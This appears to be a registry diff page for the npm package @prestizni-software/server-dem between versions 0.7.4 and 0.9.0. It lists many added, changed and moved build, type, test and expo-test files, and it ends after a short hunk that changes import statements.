@prestizni-software/server-dem 0.7.4 → 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AutoUpdateClientManagerClass.d.ts +158 -0
- package/AutoUpdateClientManagerClass.js +820 -0
- package/AutoUpdateClientManagerClass.js.map +1 -0
- package/AutoUpdateManagerClass.d.ts +102 -0
- package/AutoUpdateManagerClass.js +117 -0
- package/AutoUpdateManagerClass.js.map +1 -0
- package/AutoUpdateServerManagerClass.d.ts +238 -0
- package/AutoUpdateServerManagerClass.js +1087 -0
- package/AutoUpdateServerManagerClass.js.map +1 -0
- package/AutoUpdatedClientObjectClass.d.ts +244 -0
- package/AutoUpdatedClientObjectClass.js +969 -0
- package/AutoUpdatedClientObjectClass.js.map +1 -0
- package/AutoUpdatedServerObjectClass.d.ts +134 -0
- package/AutoUpdatedServerObjectClass.js +346 -0
- package/AutoUpdatedServerObjectClass.js.map +1 -0
- package/ClientTypes.d.ts +15 -0
- package/ClientTypes.js +52 -0
- package/ClientTypes.js.map +1 -0
- package/CommonTypes.d.ts +296 -0
- package/CommonTypes.js +233 -0
- package/CommonTypes.js.map +1 -0
- package/CommonTypes_server.d.ts +1 -0
- package/CommonTypes_server.js +2 -0
- package/CommonTypes_server.js.map +1 -0
- package/{dist/DEMErrors.js.map → DEMErrors.js.map} +1 -1
- package/ServerTypes.d.ts +16 -0
- package/ServerTypes.js +60 -0
- package/ServerTypes.js.map +1 -0
- package/client.d.ts +6 -0
- package/client.js +7 -0
- package/client.js.map +1 -0
- package/coverage/lcov-report/block-navigation.js +71 -0
- package/coverage/lcov-report/block-navigation.js.map +1 -0
- package/coverage/lcov-report/prettify.js +478 -0
- package/coverage/lcov-report/prettify.js.map +1 -0
- package/coverage/lcov-report/sorter.js +177 -0
- package/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/AutoUpdateClientManagerClass.d.ts +20 -0
- package/dist/AutoUpdateClientManagerClass.js +283 -0
- package/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/AutoUpdateManagerClass.d.ts +17 -96
- package/dist/AutoUpdateManagerClass.js +15 -73
- package/dist/AutoUpdateManagerClass.js.map +1 -1
- package/dist/AutoUpdateServerManagerClass.d.ts +18 -207
- package/dist/AutoUpdateServerManagerClass.js +198 -680
- package/dist/AutoUpdateServerManagerClass.js.map +1 -1
- package/dist/AutoUpdatedClientObjectClass.d.ts +63 -206
- package/dist/AutoUpdatedClientObjectClass.js +660 -707
- package/dist/AutoUpdatedClientObjectClass.js.map +1 -1
- package/dist/AutoUpdatedServerObjectClass.d.ts +13 -126
- package/dist/AutoUpdatedServerObjectClass.js +92 -315
- package/dist/AutoUpdatedServerObjectClass.js.map +1 -1
- package/dist/ClientTypes.d.ts +13 -0
- package/dist/ClientTypes.js +70 -0
- package/dist/ClientTypes.js.map +1 -0
- package/dist/CommonTypes.d.ts +3 -266
- package/dist/CommonTypes.js +4 -234
- package/dist/CommonTypes.js.map +1 -1
- package/dist/CommonTypes_server.d.ts +1 -1
- package/dist/CommonTypes_server.js +2 -1
- package/dist/CommonTypes_server.js.map +1 -1
- package/dist/ServerTypes.d.ts +13 -0
- package/dist/ServerTypes.js +78 -0
- package/dist/ServerTypes.js.map +1 -0
- package/dist/TestTypes.d.ts +1 -0
- package/dist/TestTypes.js +7 -0
- package/dist/TestTypes.js.map +1 -0
- package/dist/client.d.ts +1 -0
- package/dist/client.js +12 -0
- package/dist/client.js.map +1 -0
- package/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
- package/dist/dist/AutoUpdateClientManagerClass.js +284 -0
- package/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
- package/dist/dist/AutoUpdateManagerClass.js +60 -0
- package/dist/dist/AutoUpdateManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdateServerManagerClass.d.ts +50 -0
- package/dist/dist/AutoUpdateServerManagerClass.js +413 -0
- package/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
- package/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
- package/dist/dist/AutoUpdatedClientObjectClass.js +865 -0
- package/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
- package/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
- package/dist/dist/AutoUpdatedServerObjectClass.js +124 -0
- package/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
- package/dist/dist/ClientTypes.d.ts +13 -0
- package/dist/dist/ClientTypes.js +71 -0
- package/dist/dist/ClientTypes.js.map +1 -0
- package/dist/dist/CommonTypes.d.ts +3 -0
- package/dist/dist/CommonTypes.js +20 -0
- package/dist/dist/CommonTypes.js.map +1 -0
- package/dist/dist/CommonTypes_server.d.ts +1 -0
- package/dist/dist/CommonTypes_server.js +4 -0
- package/dist/dist/CommonTypes_server.js.map +1 -0
- package/dist/dist/ServerTypes.d.ts +13 -0
- package/dist/dist/ServerTypes.js +79 -0
- package/dist/dist/ServerTypes.js.map +1 -0
- package/dist/dist/TestTypes.d.ts +1 -0
- package/dist/dist/TestTypes.js +8 -0
- package/dist/dist/TestTypes.js.map +1 -0
- package/dist/dist/client.d.ts +1 -0
- package/dist/dist/client.js +13 -0
- package/dist/dist/client.js.map +1 -0
- package/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.js +285 -0
- package/dist/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
- package/dist/dist/dist/AutoUpdateManagerClass.js +61 -0
- package/dist/dist/dist/AutoUpdateManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.d.ts +158 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.js +414 -0
- package/dist/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.js +866 -0
- package/dist/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.js +125 -0
- package/dist/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
- package/dist/dist/dist/ClientTypes.d.ts +13 -0
- package/dist/dist/dist/ClientTypes.js +72 -0
- package/dist/dist/dist/ClientTypes.js.map +1 -0
- package/dist/dist/dist/CommonTypes.d.ts +3 -0
- package/dist/dist/dist/CommonTypes.js +21 -0
- package/dist/dist/dist/CommonTypes.js.map +1 -0
- package/dist/dist/dist/CommonTypes_server.d.ts +1 -0
- package/dist/dist/dist/CommonTypes_server.js +5 -0
- package/dist/dist/dist/CommonTypes_server.js.map +1 -0
- package/dist/dist/dist/ServerTypes.d.ts +13 -0
- package/dist/dist/dist/ServerTypes.js +80 -0
- package/dist/dist/dist/ServerTypes.js.map +1 -0
- package/dist/dist/dist/TestTypes.d.ts +1 -0
- package/dist/dist/dist/TestTypes.js +9 -0
- package/dist/dist/dist/TestTypes.js.map +1 -0
- package/dist/dist/dist/client.d.ts +1 -0
- package/dist/dist/dist/client.js +14 -0
- package/dist/dist/dist/client.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
- package/dist/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.js +736 -0
- package/dist/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.js +177 -0
- package/dist/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.js +27 -0
- package/dist/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.js +95 -0
- package/dist/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.js +81 -0
- package/dist/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/dist/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/dist/dist/expo-test/app/_layout.js +22 -0
- package/dist/dist/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/dist/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/dist/dist/expo-test/app/modal.js +28 -0
- package/dist/dist/dist/expo-test/app/modal.js.map +1 -0
- package/dist/dist/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/dist/dist/expo-test/components/external-link.js +18 -0
- package/dist/dist/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.js +15 -0
- package/dist/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/dist/dist/expo-test/components/hello-wave.js +19 -0
- package/dist/dist/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.js +53 -0
- package/dist/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/dist/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/dist/dist/expo-test/components/themed-text.js +43 -0
- package/dist/dist/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/dist/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/dist/dist/expo-test/components/themed-view.js +10 -0
- package/dist/dist/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.js +34 -0
- package/dist/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js +14 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.js +25 -0
- package/dist/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/dist/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/dist/dist/expo-test/constants/theme.js +53 -0
- package/dist/dist/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/dist/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/dist/dist/expo-test/eslint.config.js +11 -0
- package/dist/dist/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.js +5 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js +20 -0
- package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.js +20 -0
- package/dist/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/dist/dist/jest.config.d.ts +21 -0
- package/dist/dist/dist/jest.config.js +20 -0
- package/dist/dist/dist/jest.config.js.map +1 -0
- package/dist/dist/dist/server.d.ts +1 -0
- package/dist/dist/dist/server.js +16 -0
- package/dist/dist/dist/server.js.map +1 -0
- package/dist/dist/dist/socket_test.d.ts +1 -0
- package/dist/dist/dist/socket_test.js +24 -0
- package/dist/dist/dist/socket_test.js.map +1 -0
- package/dist/dist/dist/test.d.ts +1 -0
- package/dist/dist/dist/test.js +7 -0
- package/dist/dist/dist/test.js.map +1 -0
- package/dist/dist/dist/test_client.d.ts +1 -0
- package/dist/dist/dist/test_client.js +26 -0
- package/dist/dist/dist/test_client.js.map +1 -0
- package/dist/dist/dist/test_lib.d.ts +2 -0
- package/dist/dist/dist/test_lib.js +85 -0
- package/dist/dist/dist/test_lib.js.map +1 -0
- package/dist/dist/dist/test_server.d.ts +1 -0
- package/dist/dist/dist/test_server.js +54 -0
- package/dist/dist/dist/test_server.js.map +1 -0
- package/dist/dist/dist/tests/dem.test.d.ts +1 -0
- package/dist/dist/dist/tests/dem.test.js +341 -0
- package/dist/dist/dist/tests/dem.test.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.js +26 -0
- package/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/explore.js +94 -0
- package/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/dist/expo-test/app/(tabs)/index.js +80 -0
- package/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/dist/expo-test/app/_layout.js +21 -0
- package/dist/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/dist/expo-test/app/modal.js +27 -0
- package/dist/dist/expo-test/app/modal.js.map +1 -0
- package/dist/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/dist/expo-test/components/external-link.js +17 -0
- package/dist/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/dist/expo-test/components/haptic-tab.js +14 -0
- package/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/dist/expo-test/components/hello-wave.js +18 -0
- package/dist/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.js +52 -0
- package/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/dist/expo-test/components/themed-text.js +42 -0
- package/dist/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/dist/expo-test/components/themed-view.js +9 -0
- package/dist/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/dist/expo-test/components/ui/collapsible.js +33 -0
- package/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.js +13 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.js +24 -0
- package/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/dist/expo-test/constants/theme.js +52 -0
- package/dist/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/dist/expo-test/eslint.config.js +11 -0
- package/dist/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.js +4 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.js +19 -0
- package/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/dist/expo-test/hooks/use-theme-color.js +19 -0
- package/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/dist/jest.config.d.ts +21 -0
- package/dist/dist/jest.config.js +19 -0
- package/dist/dist/jest.config.js.map +1 -0
- package/dist/dist/server.d.ts +1 -0
- package/dist/dist/server.js +15 -0
- package/dist/dist/server.js.map +1 -0
- package/dist/dist/socket_test.d.ts +1 -0
- package/dist/dist/socket_test.js +23 -0
- package/dist/dist/socket_test.js.map +1 -0
- package/dist/dist/test.d.ts +1 -0
- package/dist/dist/test.js +6 -0
- package/dist/dist/test.js.map +1 -0
- package/dist/dist/test_client.d.ts +1 -0
- package/dist/dist/test_client.js +25 -0
- package/dist/dist/test_client.js.map +1 -0
- package/dist/dist/test_lib.d.ts +2 -0
- package/dist/dist/test_lib.js +84 -0
- package/dist/dist/test_lib.js.map +1 -0
- package/dist/dist/test_server.d.ts +1 -0
- package/dist/dist/test_server.js +53 -0
- package/dist/dist/test_server.js.map +1 -0
- package/dist/dist/tests/dem.test.d.ts +1 -0
- package/dist/dist/tests/dem.test.js +340 -0
- package/dist/dist/tests/dem.test.js.map +1 -0
- package/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/_layout.js +25 -0
- package/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/explore.js +93 -0
- package/dist/expo-test/app/(tabs)/explore.js.map +1 -0
- package/dist/expo-test/app/(tabs)/index.d.ts +1 -0
- package/dist/expo-test/app/(tabs)/index.js +79 -0
- package/dist/expo-test/app/(tabs)/index.js.map +1 -0
- package/dist/expo-test/app/_layout.d.ts +4 -0
- package/dist/expo-test/app/_layout.js +20 -0
- package/dist/expo-test/app/_layout.js.map +1 -0
- package/dist/expo-test/app/modal.d.ts +1 -0
- package/dist/expo-test/app/modal.js +26 -0
- package/dist/expo-test/app/modal.js.map +1 -0
- package/dist/expo-test/components/external-link.d.ts +4 -0
- package/dist/expo-test/components/external-link.js +16 -0
- package/dist/expo-test/components/external-link.js.map +1 -0
- package/dist/expo-test/components/haptic-tab.d.ts +1 -0
- package/dist/expo-test/components/haptic-tab.js +13 -0
- package/dist/expo-test/components/haptic-tab.js.map +1 -0
- package/dist/expo-test/components/hello-wave.d.ts +1 -0
- package/dist/expo-test/components/hello-wave.js +17 -0
- package/dist/expo-test/components/hello-wave.js.map +1 -0
- package/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
- package/dist/expo-test/components/parallax-scroll-view.js +51 -0
- package/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/dist/expo-test/components/themed-text.d.ts +7 -0
- package/dist/expo-test/components/themed-text.js +41 -0
- package/dist/expo-test/components/themed-text.js.map +1 -0
- package/dist/expo-test/components/themed-view.d.ts +6 -0
- package/dist/expo-test/components/themed-view.js +8 -0
- package/dist/expo-test/components/themed-view.js.map +1 -0
- package/dist/expo-test/components/ui/collapsible.d.ts +4 -0
- package/dist/expo-test/components/ui/collapsible.js +32 -0
- package/dist/expo-test/components/ui/collapsible.js.map +1 -0
- package/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.js +12 -0
- package/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/dist/expo-test/components/ui/icon-symbol.js +23 -0
- package/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/dist/expo-test/constants/theme.d.ts +26 -0
- package/dist/expo-test/constants/theme.js +51 -0
- package/dist/expo-test/constants/theme.js.map +1 -0
- package/dist/expo-test/eslint.config.d.ts +2 -0
- package/dist/expo-test/eslint.config.js +11 -0
- package/dist/expo-test/eslint.config.js.map +1 -0
- package/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/dist/expo-test/hooks/use-color-scheme.js +3 -0
- package/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/dist/expo-test/hooks/use-color-scheme.web.js +18 -0
- package/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
- package/dist/expo-test/hooks/use-theme-color.js +18 -0
- package/dist/expo-test/hooks/use-theme-color.js.map +1 -0
- package/dist/expo-test/scripts/reset-project.d.ts +2 -0
- package/dist/expo-test/scripts/reset-project.js +98 -0
- package/dist/expo-test/scripts/reset-project.js.map +1 -0
- package/dist/jest.config.d.ts +21 -0
- package/dist/jest.config.js +18 -0
- package/dist/jest.config.js.map +1 -0
- package/dist/server.d.ts +1 -8
- package/dist/server.js +13 -8
- package/dist/server.js.map +1 -1
- package/dist/socket_test.d.ts +1 -0
- package/dist/socket_test.js +22 -0
- package/dist/socket_test.js.map +1 -0
- package/dist/test.d.ts +1 -0
- package/dist/test.js +5 -0
- package/dist/test.js.map +1 -0
- package/dist/test_client.d.ts +1 -0
- package/dist/test_client.js +24 -0
- package/dist/test_client.js.map +1 -0
- package/dist/test_lib.d.ts +12 -0
- package/dist/test_lib.js +83 -0
- package/dist/test_lib.js.map +1 -0
- package/dist/test_server.d.ts +1 -0
- package/dist/test_server.js +52 -0
- package/dist/test_server.js.map +1 -0
- package/dist/tests/dem.test.d.ts +1 -0
- package/dist/tests/dem.test.js +339 -0
- package/dist/tests/dem.test.js.map +1 -0
- package/expo-test/app/(tabs)/_layout.d.ts +2 -0
- package/expo-test/app/(tabs)/_layout.js +24 -0
- package/expo-test/app/(tabs)/_layout.js.map +1 -0
- package/expo-test/app/(tabs)/explore.d.ts +1 -0
- package/expo-test/app/(tabs)/explore.js +92 -0
- package/expo-test/app/(tabs)/explore.js.map +1 -0
- package/expo-test/app/(tabs)/index.d.ts +1 -0
- package/expo-test/app/(tabs)/index.js +78 -0
- package/expo-test/app/(tabs)/index.js.map +1 -0
- package/expo-test/app/_layout.d.ts +5 -0
- package/expo-test/app/_layout.js +19 -0
- package/expo-test/app/_layout.js.map +1 -0
- package/expo-test/app/modal.d.ts +1 -0
- package/expo-test/app/modal.js +25 -0
- package/expo-test/app/modal.js.map +1 -0
- package/expo-test/components/external-link.d.ts +7 -0
- package/expo-test/components/external-link.js +15 -0
- package/expo-test/components/external-link.js.map +1 -0
- package/expo-test/components/haptic-tab.d.ts +2 -0
- package/expo-test/components/haptic-tab.js +12 -0
- package/expo-test/components/haptic-tab.js.map +1 -0
- package/expo-test/components/hello-wave.d.ts +1 -0
- package/expo-test/components/hello-wave.js +16 -0
- package/expo-test/components/hello-wave.js.map +1 -0
- package/expo-test/components/parallax-scroll-view.d.ts +10 -0
- package/expo-test/components/parallax-scroll-view.js +50 -0
- package/expo-test/components/parallax-scroll-view.js.map +1 -0
- package/expo-test/components/themed-text.d.ts +7 -0
- package/expo-test/components/themed-text.js +40 -0
- package/expo-test/components/themed-text.js.map +1 -0
- package/expo-test/components/themed-view.d.ts +6 -0
- package/expo-test/components/themed-view.js +7 -0
- package/expo-test/components/themed-view.js.map +1 -0
- package/expo-test/components/ui/collapsible.d.ts +4 -0
- package/expo-test/components/ui/collapsible.js +31 -0
- package/expo-test/components/ui/collapsible.js.map +1 -0
- package/expo-test/components/ui/icon-symbol.d.ts +25 -0
- package/expo-test/components/ui/icon-symbol.ios.d.ts +9 -0
- package/expo-test/components/ui/icon-symbol.ios.js +11 -0
- package/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
- package/expo-test/components/ui/icon-symbol.js +22 -0
- package/expo-test/components/ui/icon-symbol.js.map +1 -0
- package/expo-test/constants/theme.d.ts +32 -0
- package/expo-test/constants/theme.js +50 -0
- package/expo-test/constants/theme.js.map +1 -0
- package/expo-test/eslint.config.d.ts +2 -0
- package/expo-test/eslint.config.js +11 -0
- package/expo-test/eslint.config.js.map +1 -0
- package/expo-test/hooks/use-color-scheme.d.ts +1 -0
- package/expo-test/hooks/use-color-scheme.js +2 -0
- package/expo-test/hooks/use-color-scheme.js.map +1 -0
- package/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
- package/expo-test/hooks/use-color-scheme.web.js +17 -0
- package/expo-test/hooks/use-color-scheme.web.js.map +1 -0
- package/expo-test/hooks/use-theme-color.d.ts +9 -0
- package/expo-test/hooks/use-theme-color.js +17 -0
- package/expo-test/hooks/use-theme-color.js.map +1 -0
- package/expo-test/scripts/reset-project.d.ts +2 -0
- package/expo-test/scripts/reset-project.js +98 -0
- package/expo-test/scripts/reset-project.js.map +1 -0
- package/index.d.ts +4 -0
- package/index.js +5 -0
- package/index.js.map +1 -0
- package/jest.config.d.ts +3 -0
- package/jest.config.js +17 -0
- package/jest.config.js.map +1 -0
- package/package.json +23 -42
- package/server.d.ts +8 -0
- package/server.js +9 -0
- package/server.js.map +1 -0
- package/sync/ServerChangeTracker.js.map +1 -0
- package/version.d.ts +21 -0
- package/version.js +22 -0
- package/version.js.map +1 -0
- package/README.md +0 -18
- package/dist/sync/ServerChangeTracker.js.map +0 -1
- package/dist/tsconfig.tsbuildinfo +0 -1
- /package/{dist/DEMErrors.d.ts → DEMErrors.d.ts} +0 -0
- /package/{dist/DEMErrors.js → DEMErrors.js} +0 -0
- /package/{dist/sync → sync}/ClientStateReconciler.d.ts +0 -0
- /package/{dist/sync → sync}/ClientStateReconciler.js +0 -0
- /package/{dist/sync → sync}/ClientStateReconciler.js.map +0 -0
- /package/{dist/sync → sync}/ServerChangeTracker.d.ts +0 -0
- /package/{dist/sync → sync}/ServerChangeTracker.js +0 -0
- /package/{dist/sync → sync}/index.d.ts +0 -0
- /package/{dist/sync → sync}/index.js +0 -0
- /package/{dist/sync → sync}/index.js.map +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.d.ts +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.js +0 -0
- /package/{dist/sync → sync}/storage/IClientStorageAdapter.js.map +0 -0
- /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.d.ts +0 -0
- /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js +0 -0
- /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js.map +0 -0
- /package/{dist/sync → sync}/storage/LocalStorageAdapter.d.ts +0 -0
- /package/{dist/sync → sync}/storage/LocalStorageAdapter.js +0 -0
- /package/{dist/sync → sync}/storage/LocalStorageAdapter.js.map +0 -0
- /package/{dist/sync → sync}/storage/MemoryStorageAdapter.d.ts +0 -0
- /package/{dist/sync → sync}/storage/MemoryStorageAdapter.js +0 -0
- /package/{dist/sync → sync}/storage/MemoryStorageAdapter.js.map +0 -0
- /package/{dist/sync → sync}/types.d.ts +0 -0
- /package/{dist/sync → sync}/types.js +0 -0
- /package/{dist/sync → sync}/types.js.map +0 -0
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
import { AutoUpdateManager } from "./AutoUpdateManagerClass.js";
|
|
2
|
-
import { createAutoUpdatedClass } from "./AutoUpdatedServerObjectClass.js";
|
|
3
|
-
import { globalCache, EVENT_NEW, EVENT_UPDATE, EVENT_DELETE, EVENT_GET, EVENT_STARTUP, EVENT_VERSION, DEM_VERSION, DEM_PROTOCOL_VERSION, safeStringify, DEMError, DEMErrorCode, toDEMError, } from "./CommonTypes.js";
|
|
4
|
-
import { EventEmitter } from "eventemitter3";
|
|
2
|
+
import { createAutoUpdatedClass, } from "./AutoUpdatedServerObjectClass.js";
|
|
5
3
|
